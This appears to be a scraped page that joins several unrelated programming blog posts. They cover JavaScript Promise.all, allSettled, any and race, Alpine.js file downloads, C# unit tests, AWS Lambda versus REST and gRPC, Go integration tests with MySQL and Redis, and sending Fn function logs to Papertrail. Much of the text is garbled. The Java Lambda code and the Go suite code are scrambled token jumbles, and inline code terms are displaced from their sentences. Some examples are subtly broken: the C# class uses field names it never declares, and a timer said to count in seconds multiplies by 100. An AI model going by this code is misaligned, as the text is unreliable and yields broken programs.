My Handler

myhandler

Let me begin by saying that "Promise Collection Methods" is not something I've seen mentioned elsewhere but is my own way of referring to the various methods of the that work with multiple promises. They are: Promise API Promise.all Promise.allSettled Promise.any Promise.race I've used many times in the past, and I was of the other methods but had not taken the time to actually build a demo of them. This weekend, I changed that. After spending a few hours in Sanctuary grinding my Necro character, I put down the controller and picked up the laptop. Here's what I built. As a note, everything shown here works in modern browsers, but you can check MDN for more information on compatibility if you need it. Promise.all aware The Helper Functions Before getting into the important code, I built some methods to help me test things out, help me display stuff, and so forth. First, I knew I was going to build this on CodePen (I'll be embedding it below), and I wanted something would visually display in the browser, so I added this HTML: <div id="log"><pre></pre></div> And wrote this little utility: const log = s => { document.querySelector('#log pre').innerHTML += s + '\n'  }; This lets me then use in my code and have it rendered out to the browser instead of the developer console. log("like, whatever") Next, a function to handle returning promises with different times and optionally in an error state: const makePromise = (name, secs, fail=false) => {
	return new Promise((resolve, reject) => {
		setTimeout(() => {
			if(!fail) { log(`Good result for ${name}`); resolve(`Resolve from ${name}`); }
			else { log(`Bad result for ${name}`); reject(`Fail from ${name}`); }
		}, secs * 100);
	});
} Here are a few examples of it in use: makePromise('Todd', 3);
makePromise('Scott', 1); This will create two promises. One resolves in three seconds, the other in 1. Next: makePromise('Ray', 2, true); This will be rejected as an error in two seconds. Also, note that I use the method here so I can see stuff resolving in real time. This will become important later. log Finally, I wrote a simple delay function: const delay = x => { 
	return new Promise(resolve => setTimeout(resolve, x*1000));
} This will let me stuff like: delay(4); As a quick and hacky way to delay a few seconds. In theory, I could have made make use of it, but I didn't bother updating it. Alright, let's get started. makePromise Promise.all The method has the following behavior: all Given an array of Promises, resolve when all are done, or immediately when any throw an error. It resolves with an array of results that match the results of inputs. Here's my first test: log('TEST ONE - Promise.all(all good)');
let test = [
	makePromise('alpha', 3),
	makePromise('bob', 1),
	makePromise('charly', 3)
];

results = await Promise.all(test);	
log('Results from test with Promise.all');
log(JSON.stringify(results)); Looking at the code, you can see that will return before and . Here's the output: bob alpha charly Good result for bob
Good result for alpha
Good result for charly
Results from test with Promise.all
["Resolve from alpha","Resolve from bob","Resolve from charly"] Notice that even though the order was different than the input, the results match the input, which is great. Now, let's throw an error into the mix: log('\n\nTEST TWO  - Promise.all (one bad)');	
test = [
	makePromise('alpha', 3),
	makePromise('failwhale', 1, true),
	makePromise('charly', 3)
];

try {
	let results = await Promise.all(test);
} catch(e) {
	log(`Expected failure in test: ${e}`);
} I wrapped the call in a to handle the rejection. Here's the output: try/catch TEST TWO  - Promise.all (one bad)
Bad result for failwhale
Expected failure in test: Fail from failwhale
Good result for alpha
Good result for charly Notice that my handler fires as soon as the error occurs, but the other promises are still running. You don't have to use . Since the result of is itself a promise, you can use the method of Promise instead: try/catch Promise.all catch log('\n\nTEST TWO A - Promise.all (one bad), modified handler.');	
Promise.all(test).then(results => log('all good')).catch(e => log('one bad')); This returns, as you would expect, just . one bad Promise.allSettled While is good for when you're pretty sure everything is going to work out ok (and remember, a Fetch call to an API may run just fine, but the API itself may return with an error), you may find [ ] method a bit more flexible. It's behavior is: Promise.all allSettled Given an array of Promises, resolve when all are done and report on the success or failure of each Promise. This means you can now rely on knowing when everything is done and handle the success or failure of each one by one. Here's an example: log('\n\nTEST THREE - Promise.allSettled (all good)');
test = [
	makePromise('alpha', 3),
	makePromise('bob', 1),
	makePromise('charly', 3)
];

results = await Promise.allSettled(test);	
log('Results from test with Promise.allSettled');
log(JSON.stringify(results,null,'\t')); The result now is a bit different: [
	{
		"status": "fulfilled",
		"value": "Resolve from alpha"
	},
	{
		"status": "fulfilled",
		"value": "Resolve from bob"
	},
	{
		"status": "fulfilled",
		"value": "Resolve from charly"
	}
] Now we get both the value from the as well as a flag. Here's an example of a failure. First, the calls: resolve status log('\n\nTEST FOUR - Promise.allSettled (one bad)');
test = [
	makePromise('alpha', 3),
	makePromise('failwhale', 1, true),
	makePromise('charly', 3)
];

results = await Promise.allSettled(test);	
log('Results from test with Promise.allSettled');
log(JSON.stringify(results,null,'\t')); And then the result: [
	{
		"status": "fulfilled",
		"value": "Resolve from alpha"
	},
	{
		"status": "rejected",
		"reason": "Fail from failwhale"
	},
	{
		"status": "fulfilled",
		"value": "Resolve from charly"
	}
] You can see the failure in the second result. Woot. I think this is my favorite so far. Going on... Promise.any The method works like so: any Given an array of Promises, resolve when any of the Promises resolves, or reject if all of them fail. This one's kind of interesting. It's basically the "try really hard for something to work" collection method. Here's a first example: log('\n\nTEST FIVE - Promise.any(all good)');
test = [
	makePromise('alpha', 3),
	makePromise('bob', 1),
	makePromise('charly', 3)
];

results = await Promise.any(test);	
log('Results from test with Promise.any');
log(results); In this one, is the winner: bob TEST FIVE - Promise.any(all good)
Good result for bob
Results from test with Promise.any
Resolve from bob
Good result for alpha
Good result for charly Next, here's one with an error. It's the quickest, but keeps trying: any log('\n\nTEST SIX - Promise.any(one bad)');
test = [
	makePromise('alpha', 3),
	makePromise('bad bob', 1, true),
	makePromise('charly', 3)
];

results = await Promise.any(test);	
log('Results from test with Promise.any');
log(results); And the output: TEST SIX - Promise.any(one bad)
Bad result for bad bob
Good result for alpha
Results from test with Promise.any
Resolve from alpha
Good result for charly Finally, here's one where they all fail. log('\n\nTEST SEVEN - Promise.any(all bad)');
test = [
	makePromise('alpha', 3, true),
	makePromise('bad bob', 1, true),
	makePromise('charly', 3, true)
];

try {
	let results = await Promise.any(test);
	log(results);
} catch(e) {
	log(`Expected failure in test: ${e}`);
	log(e.errors);
} Notice I log - this is an additional value thrown by the method that contains an array of all the messages from the failed promises. (It's an ). e.errors AggregateError Here's the output: TEST SEVEN - Promise.any(all bad)
Bad result for bad bob
Bad result for alpha
Bad result for charly
Expected failure in test: AggregateError: All promises were rejected
Fail from alpha,Fail from bad bob,Fail from charly Promise.race For the final method, I'll cover, has this behavior: race Given an array of promises, resolve or reject with whatever happens first. Here are a few examples. First, all good: log('\n\nTEST RAY EIGHT - Promise.race(all good)');
test = [
	makePromise('alpha', 3),
	makePromise('bob', 1),
	makePromise('charly', 3)
];
results = await Promise.race(test);	
log('Results from test with Promise.race');
log(results); And the output: TEST RAY EIGHT - Promise.race(all good)
Good result for bob
Results from test with Promise.race
Resolve from bob
Good result for alpha
Good result for charly And here's one with a 'bad' winner: log('\n\nTEST NINE - Promise.race(bad guy wins)');
test = [
	makePromise('alpha', 3),
	makePromise('worst bob', 1, true),
	makePromise('charly', 3)
];
try {
	let results = await Promise.race(test);
} catch(e) {
	log(`Expected failure in test: ${e}`);
} And its results: TEST NINE - Promise.race(bad guy wins)
Bad result for worst bob
Expected failure in test: Fail from worst bob
Good result for alpha
Good result for charly Pretty simple to understand, I think. The MDN docs have a of how to use to add timeouts to network calls. great example Promise.race Demo You can see all of the above yourself at the following CodePen, but you may want to open it up in a new tab. https://codepen.io/cfjedimaster/pen/bGZmRXB?embedable=true Also published . here

Exploring JavaScript Promise Collection Methods

As my readers know, I've been updating some of my earlier Vue.js examples to demonstrate how they would work with . Normally I post these "conversions" when I see one of the Vue posts pop up in my stats. Today I noticed this entry was "trending" - . I thought it would be a great candidate for showing an Alpine version. Let's take a look. Alpine.js Vue Quick Shot - Downloading Data as a File While I won't repeat everything from the previous post, I'll quickly cover how it worked. First, it makes use of the attribute of the anchor tag. This will take a normal link operation and instead ask the browser to download the resource at the URL. To do this with client-side data, you can create an anchor tag with , set it to point to your data, and then emulate a event. I used this a few days ago in an Eleventy article: . download createElement click Adding Download Support in an Eleventy Site In the original article, I first demonstrated downloading a JSON file. But as most humans don't speak JSON, I then used to convert it to CSV. I'm going to follow the same flow for this update. Papa Parse First Version - Downloading JSON Data For the first version, we're going to look at a tabular set of cats. I will not make you scroll past the gratuitous picture of a cat on a table. Heh, I lie: Ok, so our data: "cats":[
	{"name":"Alese", "gender":"female", "age": 10},
	{"name":"Sammy", "gender":"male", "age": 12},
	{"name":"Luna", "gender":"female", "age": 8},
	{"name":"Cracker", "gender":"male", "age": 7},
	{"name":"Pig", "gender":"female", "age": 6}
] The application begins by simply rendering this into a table. (Not a sortable or paginated one, but check out my other posts for examples of that.) I started off with this HTML: Alpine.js <div x-data="app">
	<table>
		<thead>
			<tr>
				<th>Name</th>
				<th>Gender</th>
				<th>Age</th>
			</tr>
		</thead>
		<template x-for="cat in cats">
			<tr>
				<td x-text="cat.name"></td>
				<td x-text="cat.gender"></td>
				<td x-text="cat.age"></td>
			</tr>
		</template>
	</table>
</div> Alpine is used to loop over the array. Here's the initial JavaScript: cats document.addEventListener('alpine:init', () => {
  Alpine.data('app', () => ({
	cats:[
      {name:"Alese", gender:"female", age: 10},
      {name:"Sammy", gender:"male", age: 12},
      {name:"Luna", gender:"female", age: 8},
      {name:"Cracker", gender:"male", age: 7},
      {name:"Pig", gender:"female", age: 6}
      ]		
  }))
}); Now I'm going to add a download button that will trigger the download process: <button @click="download">Download</button> I then added my handler. This code is a bit simpler than the previous version which added to anchor to the DOM, invisibly, and then clicked. download() {
	let text = JSON.stringify(this.cats);
	let filename = 'cats.json';
	let element = document.createElement('a');
	element.setAttribute('href', 'data:application/json;charset=utf-8,' + encodeURIComponent(text));
	element.setAttribute('download', filename);
	element.click();
} If you read my previous article involving , the biggest difference here is creating the data URL string that has the original data encoded into a string. You can test this version yourself here: Eleventy and downloads https://codepen.io/cfjedimaster/pen/YzjzaGz?embedable=true Second Version - Downloading CSV For the next version, we just need to convert the JSON data to CSV. Once again I'll use as it makes this trivial. Instead of Papa Parse let text = JSON.stringify(this.cats); We can use: let text = Papa.unparse(this.cats); I then made two more changes. First, the filename: let filename = 'cats.csv'; And then the mime-type: element.setAttribute('href', 'data:text/csv;charset=utf-8,' + encodeURIComponent(text)); That's literally the entire change. Now when clicking download you get a CSV that can be opened in Excel. My previous post had a screenshot of that but as this was before you could use Dark mode in Office, I figured I'd update it with a new one: Here's the entire example: https://codepen.io/cfjedimaster/pen/yLqLKoj?embedable=true Also published . here

Downloading Data as a File with Alpine.js

There are countless articles on the web about unit tests: , beginner's guides, mocking frameworks, test coverage tools, and more. However, the vast majority of these articles are either too "Hello World"-like or focus more on tools, while missing the key point — how to write unit tests that are useful and deliver the most value? TDD approach In this article, I'll share some best practices, which I believe will get your unit tests to the next level. This will be an example-driven article as in my view, this is the best way to explain things in programming. We're going to start with a code example (a C# class plus a few unit tests for this class) and highlight some important points related to what we want to test and how we're going to do that. Then we'll review one of the many ways (my favorite one) to structure unit tests. Finally, I'll share a few awesome libraries that I use in all my test projects. Ready? Lets' get started🍿 Example 1 UserManager public class UserManager : IUserManager
{
    private readonly IUserRepository _userRepository;
    private readonly IUserGuard _userGuard;

    public UserManager(IUserRepository userRepository, IUserGuard userGuard)
    {
        _userRepository = userRepository;
        _userGuard = userGuard;
    }

    public async Task ChangeEmail(int userId, string newEmail, CancellationToken ct = default)
    {
        var user = await _repository.GetUser(userId, ct);

        _guard.UserExists(user);
        _guard.UserIsAllowedToChangeEmail(user!);
        _guard.EmailIsValid(newEmail);
        _guard.EmailIsNew(user!, newEmail);

        user!.Email = newEmail;
        await _repository.Save(user, ct);
    }
} Test strategy We want to verify that all calls are to happen in the correct order and, most importantly, come before . In other words, validation has to go before the data is saved to the database. IUserGuard _repository.Save Make sure we pass the correct parameters to all methods that we call here. Our method calls . ChangeEmail _repository.Save We will save the object with the new email address. user Tests public class UserManagerTests
{
    public class ChangeEmail : UserManagerTestsBase
    {
        [Theory]
        [AutoData]
        public async Task Should_change_email(int userId,
                                              string newEmail,
                                              User user,
                                              CancellationToken ct)
        {
            // arrange
            Repository.GetUser(userId, ct).Returns(user);

            // act
            await Manager.ChangeEmail(userId, newEmail, ct);

            // assert
            Received.InOrder(() =>
                             {
                                 Guard.Received(1).UserExists(user);
                                 Guard.Received(1).UserIsAllowedToChangeEmail(user);
                                 Guard.Received(1).EmailIsValid(newEmail);
                                 Guard.Received(1).EmailIsNew(user, newEmail);

                                 Repository.Received(1).Save(Arg.Is<User>(x => x == user &&
                                                                               x.Email == newEmail),
                                                             ct);
                             });
        }
    }

    public abstract class UserManagerTestsBase
    {
        protected readonly UserManager Manager;
        protected readonly IUserRepository Repository;
        protected readonly IUserGuard Guard;

        protected UserManagerTestsBase()
        {
            Repository = Substitute.For<IUserRepository>();
            Guard = Substitute.For<IUserGuard>();
            Manager = new UserManager(Repository, Guard);
        }
    }
} Notes Instead of hardcoding test data, we generated random values using ( library). [AutoData] AutoFixture.Xunit2 To validate the order of method calls, we used ( — the best mocking library for .NET). Received.InOrder(...) NSubstitute We used in order to make sure we changed the email address before saving this object to the database. Arg.Is<User>(x => x.Email == newEmail) user Now we're going to add one more method to the class and unit test it. UserManager Example 2 public class UserManager : IUserManager
{
    private readonly IUserRepository _repository;
    private readonly IUserGuard _guard;

    public UserManager(IUserRepository repository, IUserGuard guard)
    {
        _repository = repository;
        _guard = guard;
    }

    // public async Task ChangeEmail(int userId, string newEmail, CancellationToken ct = default)
    // {...}

    public async Task ChangePassword(int userId, string newPassword, CancellationToken ct = default)
    {
        var user = await _repository.GetUser(userId, ct);

        if (user == null)
        {
            throw new ApplicationException($"User {userId} not found");
        }

        user.Password = newPassword;
        await _repository.Save(user, ct);
    }
} Test strategy This method has a statement, so we want to make sure that the correct branch of code runs depending on the condition in the statement. if if Instead of ignoring the exception, we want to validate the type of thrown exception along with its message. Same as in the previous example, we want to verify that we passed the object with an updated password to the method. user _repository.Save If an exception is thrown, then the the method must not get called. _repository.Save Tests public class UserManagerTests
{
    // public class ChangeEmail : UserManagerTestsBase
    // {...}

    public class ChangePassword : UserManagerTestsBase
    {
        [Theory, AutoData]
        public async Task Should_throw_ApplicationException_when_user_not_found(int userId,
                                                                                string newPassword,
                                                                                CancellationToken ct)
        {
            // act
            var action = () => Manager.ChangePassword(userId, newPassword, ct);

            // assert
            await action.Should()
                        .ThrowAsync<ApplicationException>()
                        .WithMessage($"User {userId} not found");

            await Repository.DidNotReceiveWithAnyArgs().Save(Arg.Any<User>(), Arg.Any<CancellationToken>());
        }

        [Theory, AutoData]
        public async Task Should_change_password_and_save(int userId,
                                                          string newPassword,
                                                          User user,
                                                          CancellationToken ct)
        {
            // arrange
            Repository.GetUser(userId, ct).Returns(user);

            // act
            await Manager.ChangePassword(userId, newPassword, ct);

            // assert
            await Repository.Received(1).Save(Arg.Is<User>(x => x == user &&
                                                                x.Password == newPassword),
                                              ct);
        }
    }

    public abstract class UserManagerTestsBase
    {
        protected readonly UserManager Manager;
        protected readonly IUserRepository Repository;
        protected readonly IUserGuard Guard;

        protected UserManagerTestsBase()
        {
            Repository = Substitute.For<IUserRepository>();
            Guard = Substitute.For<IUserGuard>();
            Manager = new UserManager(Repository, Guard);
        }
    }
} Notes For the the method we have two tests: the first test to validate that an exception gets thrown when a user is not found, and the second one to check that we are making a call to . ChangePassword _repository.Save Note how we test exceptions: instead of try-catch we create a delegate to the test method and then do . action.Should().ThrowAsync<ApplicationException>() Our tests are done now, let's take a look at the unit test coverage in order to make sure we don't miss anything and there is no untested code left. Test Structure To a large extent, the layout of a test project is a matter of taste. Here is what I prefer to do. For classes with more than one method (managers, services, etc) the structure of the related class with unit tests would be as follows: public class MyClassTests
{
    public class Method1 : MyClassTestsBase
    {
        [Theory]
        [AutoData]
        public async Task Should_return_A_when_X(parameters)
        {
            // arrange
            // ...

            // act
            // ...

            // assert
            // ...
        }

        [Theory]
        [AutoData]
        public async Task Should_throw_B_when_Y(parameters)
        {
            // arrange
            // ...

            // act
            // ...

            // assert
            // ...
        }
    }

    public class Method2 : MyClassTestsBase
    {
        [Fact]
        public async Task Should_return_A_when_X()
        {
            // arrange

            // act

            // assert
        }

        [Fact]
        public async Task Should_throw_B_when_Y()
        {
            // arrange

            // act

            // assert
        }
    }

    public abstract class MyClassTestsBase
    {
        protected readonly MyClass Instance;
        protected readonly IDependency1 Dependency1;
        protected readonly IDependency2 Dependency2;

        protected UserManagerTestsBase()
        {
            Dependency1 = Substitute.For<IDependency1>();
            Dependency2 = Substitute.For<IDependency2>();
            Instance = new MyClass(IDependency1, IDependency2);
        }
    }
} This is what it looks like for the test runner: Unit test structure for classes with a single method (message handlers, factories etc): public class MyHandlerTests
{
    private readonly MyHandler _handler;

    public MyHandlerTests()
    {
        _handler = new MyHandler();
    }

    [Fact]
    public void Should_do_A_when_X()
    {
        // arrange

        // act

        // assert
    }
} Alright, so we have an understanding of the key concepts of unit testing and learned the best way to structure our tests. Now let's check out a few brilliant libraries which, I'm absolutely sure, you'll love. Libraries and frameworks xUnit It’s usually a choice between xUnit, nUnit, and MSTest, and my personal preference goes for the former. A while ago when Microsoft started using xUnit in its projects, this framework became a default option. + Autofixture Cheat Sheet Instead of using hard-coded values for tests, Autofixture can generate random data for us. var fixture = new Fixture();
var firstName = fixture.Create<string>();
var numOfUsers = fixture.Create<int>();
var employees = fixture.CreateMany<Employee>(); nuget for attribute (the one we used in our examples). Autofixture.Xunit2 [AutoData] NSubstitute There are a few mocking libraries out there, but I find this one the most explicit, natural, and clean. A small bonus: — Roslyn analyzers to detect (during compilation) possible errors using NSubstitute. NSubstitute.Analyzers FluentAssertions Fantastic assertion framework with very detailed and well-structured . documentation A couple of examples taken from their docs: string actual = "ABCDEFGHI";
actual.Should().StartWith("AB").And.EndWith("HI").And.Contain("EF").And.HaveLength(9);

IEnumerable<int> numbers = new[] { 1, 2, 3 };

numbers.Should().OnlyContain(n => n > 0);
numbers.Should().HaveCount(4, "because we thought we put four items in the collection"); Isn't it beautiful? Stryker.NET Stryker offers mutation testing for your .NET Core and .NET Framework projects. It allows you to test your tests by temporarily inserting bugs in your source code. It's a very interesting tool that modifies the source code and expects tests to fail. If they don't, it complains about incomplete unit tests or poor test coverage. Summary We've analyzed two simple, yet important code examples that cover the most popular scenarios for unit testing. Learned one of the ways to structure and group tests, and make a list of essential libraries that will make your tests clean, explicit, and more effective. Cheers!

Best Practices to Write Unit Tests the Right Way

Lambda vs GRPC vs Choreography vs HTTP / REST I always say that 80% of your code is boilerplate. Ok, it may be overkill (and it certainly is), but part of your source code, where you have invested a lot of time and effort is related to infrastructure, not functionality. What do I mean by * infrastructure *? All that is required for your code to provide the desired service. And usually this * infrastructure * code is boilerplate, ie copy and paste with some changes, for example: Protocols handling; Input formatting; Output formatting; Boilerplate but not harmless! Despite being this code is not simple and not harmless! Big problems can arise if you inadvertently make a mistake or change something. Therefore, you need to know what you are doing and to know all the technologies involved in order to avoid problems. boilerplate I estimate a developer will waste between 50% and 80% of his time and effort (and cost) concerned with infrastructure code, including study, proof of concept, and so on. To demonstrate what I am saying, and show an alternative, I decided to post this article. Signature This is a very simple example of application. A that verifies the digital signature of a text. I have already created many versions of this small component, and I will compare them here. Pojo Java It’s a very simple code indeed. Let’s look at the : main file { LambdaLogger logger = context.getLogger();
        logger.log( + textAndSignature);
        String [] parameters = textAndSignature.split( );
        String returnValue = ;
		returnValue = + verify(parameters[ ],parameters[ ], , , ); logger.log(returnValue); returnValue;
    } { resultado = ;
		InputStream keystoreLocation = ; (!keystorePath.equals( )) {
			FileInputStream fisKs = FileInputStream(keystorePath);
			keystoreLocation = fisKs;
		} {
			InputStream isKs = SignatureVerifier.class.getClassLoader().getResourceAsStream( );
			keystoreLocation = isKs;
		}
	    KeyStore keystore = KeyStore.getInstance(KeyStore.getDefaultType());
	    keystore.load(keystoreLocation, keystorePassword.toCharArray());
	    java.security.cert.Certificate certificate = keystore.getCertificate(alias);
	    PublicKey pubKey = certificate.getPublicKey();
		Signature sig = Signature.getInstance( , ); 
		sig.initVerify(pubKey);
		Hex hex = Hex(); [] textContent = texto.getBytes( );
	    sig.update(textContent); [] signature = ( []) hex.decode(hexSignature);
	    
		resultado = sig.verify(signature); resultado;
	} String InvalidKeyException, KeyStoreException, NoSuchAlgorithmException, CertificateException, NoSuchProviderException, SignatureException, IOException, DecoderException public myHandler (String textAndSignature, Context context) throws // Comment following two lines to run locally: "received : " ":" "" "Signature is " 1 0 "*" "meucertificado" "teste001" // Comment following line to run locally: return KeyStoreException, NoSuchAlgorithmException, 
							CertificateException, IOException, InvalidKeyException, 
							NoSuchProviderException, DecoderException, SignatureException public static boolean verify (String hexSignature, String texto,
			String keystorePath, String alias, String keystorePassword) throws boolean false null if "*" new else "minhakeystore.jks" "MD5withRSA" "SunRsaSign" new byte "UTF-8" byte byte return Total: ! 66 lines The method takes two strings: a text and a digital signature from it, and verifies the signature using a that I included in the project. verify() keystore Nothing could be simpler, could it? This is actually the code to make this small module available as a function [ ] (https://docs.aws.amazon.com/lambda/latest/dg/get-started-step4- optional.html). Note that there is virtually no code here. Lambda in AWS! boilerplate This is a perfect example of ! FaaS Now let’s look at other options of exposing the same code, and comparing everything. RESTful Service In this we have a RESTful version of this same service. Here, I used to create a Java application. Let’s look at the numbers of this version: repository Dropwizard JAX-RS 6 essential source files;248 lines of code; You can download the repository and test. There is even a python client for this. The essential code to verify the signature has 66 lines, this version has 248 lines! In other words, the essential code is about 26% of the lines of code in this option. This is because I greatly simplified the RESTful service! gRPC In this release, I created a and needed to create a load balancing engine using , but I will not consider this when count the lines of code, but I will have to consider the client lines of code, after all, it’s part of the infrastructure. Although it is necessary, it is not essential. You can see this version . Here are the numbers: gRPC based service Apache Zookeeper in this folder :     - 426 lines of code! Server Comparing to the 66 lines of essential code, we see that the ratio has expanded a lot: only 15% represents the essential code. I didn’t even count the customer lines! Service choreograpy I implemented an example using service choreography, with asynchronous messaging and . I created a and a client, but I will only count worker lines: RabbitMQ worker 151 lines; Here the relationship has improved a lot. The essential code is 43% of the total code. How to Make a Lambda Available in Java Compile the with the command: source code mvn clean package shade: shade This will produce an that you can load into the AWS console. and go to lambda functionality: Uber jar Go to console Select and indicate which is . Then upload your : Create Role Runtime jar Finally, set up a test event: You can test your function and evaluate the results: The has everything needed to create a for AWS Lambda. And you can use another product, such as to expose your role to the world. example project uber jar API Gateway Conclusion Less code, less complexity! You can expose functions in less than 1 minute! That is the beauty of . FaaS

AWS Lambda Compared with Other Alternatives to Deploy your Function

Making a test suite in Go projects with a real live database/service Photo by on ShareGrid Unsplash Software testing is a process used to identify the correctness, completeness, and quality of developed computer software. There are so many kinds of software testing. Start from unit-testing, load-testing, stress-testing, integration-testing, UI-testing, e2e-testing, and many more. Every kind of testing have a different purpose, unit-testing aims to test a single unit of function. Load testing aims to measure how reliable our system against a huge request. And Integration testing aims to ensure our system can integrate with the external services without any issues. Integration Testing In Go In this article, I won’t tell any other test except integration testing. This kind test as I said earlier is to ensure that our systems can integrate to external services without any issues. So with this test, we hope we can avoid any unnecessary error or bug when deploying our applications to the server whatever its environment (staging, production) So, before moving how to do it in Golang, let me clarify a few things before I explain many things below. Actually, I don’t know that this kind of testing is looking good for many people, but this is how we made an integration testing in our company (my current company when writing this). If you have an any better idea, it really pleasures if you tell us it in the comment below. Kurio Preparation and Tools In this article, to make it clear, I’ve listed and prepared a few things as my tools and helper here. Docker installed (specifically, docker-compose)github.com/stretchr/testify for testing package toolsgithub.com/go-redis/redis for Redis drivergithub.com/golang-migrate/migrate for migration packageetc listed in go.mod So I will use 2 kinds of database, and my simple application will connect to this database. What I will explain is, how to make an integration testing against to my both database here. So I will use MySQL and also Redis well, technically we also can say Redis as a database but NoSQL, if it's not, well just assume it was a database :D. Test Suite So let’s say I have a project that depends on both of this database, you can look my entire simple projects here: https://github.com/bxcodec/integration-testing If you look to packages mysql and redis you will find my function handler to connect to each DB itself and also its file test. Each test was a Suite test. A bundle test that will test my handler. To make a suite test it’s easy, thanks to github.com/stretchr/testify I can do it with ease. For example, you can look at my redis package. At suite_test.go I define a RedisSuite struct that will be reusable by any test-file. package redis_test import ( ) <br> "github.com/go-redis/redis" <br> "github.com/stretchr/testify/suite" <br> type RedisSuite struct {<br> suite.Suite<br> Host     string<br> Password string<br> DB       int<br> *redis.Client<br>} Client func (r *RedisSuite) {<br> r.Client = redis. <br>} SetupSuite() NewClient(& ; .Options{< >  Addr: .Host,< >  Password: .Password,< >  DB: .DB,< > }) amp redis br r br r br r br {< > . . < >} func (r *RedisSuite) TearDownSuite () br r Client Close () br Thanks to testify package, it really helpful to create a suite test. Later with this struct, I just can easily embed it to my test-file. You can see at mycache_test.go If you look, the cache_test.go file, it’s a bit different with the normal file-test. If in normal test-file we ussually have this pattern: {} func TestXXXX (<strong>t *testing.T</strong>) // with testing param It always has the testing param in each test. And it’s required. But in this case, because I use the testify package, there a bit different how to do the test. And it really matters. To add a test case, we must follow the pattern: {} func (s TestSuite) TestXXXX () //without testing param For example, in my redis test-file (cache_test.go), you could see that I have 2 test they are: TestSet and TestGet. Running The Test To run the test, it still the same as usual. Run it with: go test. But, because this test requires live Databases(MySQL and Redis), at first, we need to run a live database in our testing environment. If we run the testing in our local, then make sure that our required Databases alive and can access from our local pc. If we run the testing in CI/CD server, then we must provide a live database to fulfill the test. Luckily, in this modern software engineering era, there was a tool like Docker exists. We can run our database in docker container, so we don’t have to have a real database live just for testing needs. To make it easy, I will use the docker-compose feature, look my docker-compose.yaml. With just command docker-compose up -d, then I will have a 2 database live in a docker-container so that I can test it directly with it. To ease me, I just make it into a Makefile. So before running my integration-test, I need my database already live in container. So now, to do my testing I just do it with one command: $ make integration-test // integration <br>$ make unittest // just unit-testing for test for demo integration testing command with make fileUsing it With CI/CD (Travis) Every CI/CD may have different feature. Actually, in my current company ( ) we use BuddyWorks as our CI/CD tools, but if I use BuddyWorks here, it will look very easy to do, because, in BuddyWorks, we just drag and drop no scripting :D. Kurio So to make it more fun and more “hacky” and “geeky” that looks very terminal based as many people see us the engineer that only working with the terminal and love the black screen :D, so I decided to use Travis CI/CD for this article :D Setup the travis.yml script Before move forward, first, we need to add our project to travis-ci.com and enable the CI/CD pipeline there. Later, we just need to add our .travis.yml in our project. For my project, you can look all the entire script of .travis.yml in my repository. Then later, enable it in Travis, find and enable our repo in Travis And all will run the test in Travis. Boilerplate!!! We just add our TestSuite boilerplate based on Database provider and driver-library into separated packages: You can look it here: https://github.com/golangid/testada To use this package, for example, you want to make a MySQL integration test, you can directly import the testada/mysql package. And embed directly the MySQL suite structs. import "github.com/golangid/testada/mysql" youItemMysqlTestSuite type {< > . < >// / </ >< >} struct br mysql MysqlSuite strong embed from testada mysql strong br func TestYourItemMysqlSuite(t *testing.T) {< > testing.Short() {< >  t.Skip( )< > }< > dsn := os.Getenv( )< > dsn == {< >  dsn = < > }< > yourItemSuite := &amp;youItemMysqlTestSuite{< >  MysqlSuite{< >   DSN:                     dsn,< >   MigrationLocationFolder: ,< >  },< > } br if br "Skip you item mysql repository test" br br "MYSQL_TEST_URL" br if "" br "root:root-pass@tcp(localhost:3306)/testing?parseTime=1&amp;loc=Asia%2FJakarta&amp;charset=utf8mb4&amp;collation=utf8mb4_unicode_ci" br br br br br "migrations" br br suite. <br>} Run( , ) t yourItemSuite At least, this package already makes the boilerplate like setting the migration (if using migrations) or handle the test-suite setup that will help you work faster. :D Also, it’s required to understand how testify/suite works, before implementing your own integration test like ours. Once again, as I tell at the beginning of this article, this is how we made an integration testing in our company (my current company when writing this). If you have an any better idea, it really pleasures if you tell me it in the comment below. But if you found this very useful, please share this with anyone who might need this. ^_^ Kurio

Integration Test With Database in Golang

Photo by on Ales Krivec Unsplash Logging is one of the things that’s extremely important to do well, especially in the (micro)services and functions world where you have to track what’s happening across hundreds of services and functions. In this post I’ll briefly look at how to collect logs from your Fn functions Prerequisites Fn CLI Fn Server (you can use command to bring up a local server) fn start Create a Simple Go Function Start by creating a new function with the Fn CLI ( ). I have added two log statements — hello and goodbye — to the function as shown below: fn init --runtime go Boilerplate Fn function with two logging statements added Let’s deploy and call this function like this: $ fn deploy --app logtest ... deploy output ... $ fn call logtest /logtest{"message":"Hello World"} Note: instead of running you can always list the routes of your app ( ) and then call the actual endpoint directly. fn call fn list routes [appname] So we get the response from the function — but where are the logs? The Fn CLI has a command that allows you to retrieve the logs for a specified app and a call id. App name is not enough to get the logs — you need to be more specific and provide a call ID that gets create each time you call a function. To get the calls, you run the command and provide your app name. fn list calls $ fn list calls logtest You will get a response that will list all calls to your function — each call having a unique ID, time stamps, app and route information and status: ID: 01CMFXT9D3R2M0250ZJ0000004App Id: 01CMFXG599R2M0250ZJ0000001Route: /logtestCreated At: 2018-08-09T11:05:11.459-07:00Started At: 2018-08-09T11:05:11.992-07:00Completed At: 2018-08-09T11:05:11.996-07:00Status: success ID: 01CMFXK7KPR2M0250ZJ0000002App Id: 01CMFXG599R2M0250ZJ0000001Route: /logtestCreated At: 2018-08-09T11:01:20.246-07:00Started At: 2018-08-09T11:01:20.776-07:00Completed At: 2018-08-09T11:01:20.794-07:00Status: success : your function will probably be invoked a lot of times — you can easily filter down the calls you want to get by specifying or options or filtering down the calls by the functions’ path ( ) or number of calls to return ( ) Note --from-time --to-time --path -n Let’s grab one of the call IDs and get the logs for it: $ fn get logs logtest 01CMFXK7KPR2M0250ZJ00000022018/08/09 18:01:20 Hello MyHandler2018/08/09 18:01:20 Goodbye MyHandler Yay — we got our logs! All good and well, but there’s no way one can do this manually for hundreds of functions and thousands or tens of thousands of calls across all functions. It would be way more convenient if we could collect all these logs in some central place. Collecting logs I have decided to try and see how to hook it up with Fn to send all my functions logs there. Papertrail I have signed up at their website and quickly went through the logging setup to get the endpoint I can send my logs to — something like . With this URL I can configure my app and tell it that I want all logs to go to that URL. logsXYZ.papertrail.com:12345 To do that, we .need to set the setting on the app like this: syslog-url $ fn update app logtest --syslog-url=tls://[papertrail-endpoint]app logtest update Test it out the same way as previously — by making a couple of calls to the function. The output from the functions is still the same, also if we check the call logs, we should still see the same logs as before. However, we also get the same logs in Papertrail as seen below: Logs being sent to Papertrail The good thing about central log collection system is that it gives you the ability to retain the logs, search though them and even set up alerts if you want to. Additionally, you can also filter down logs by app name or 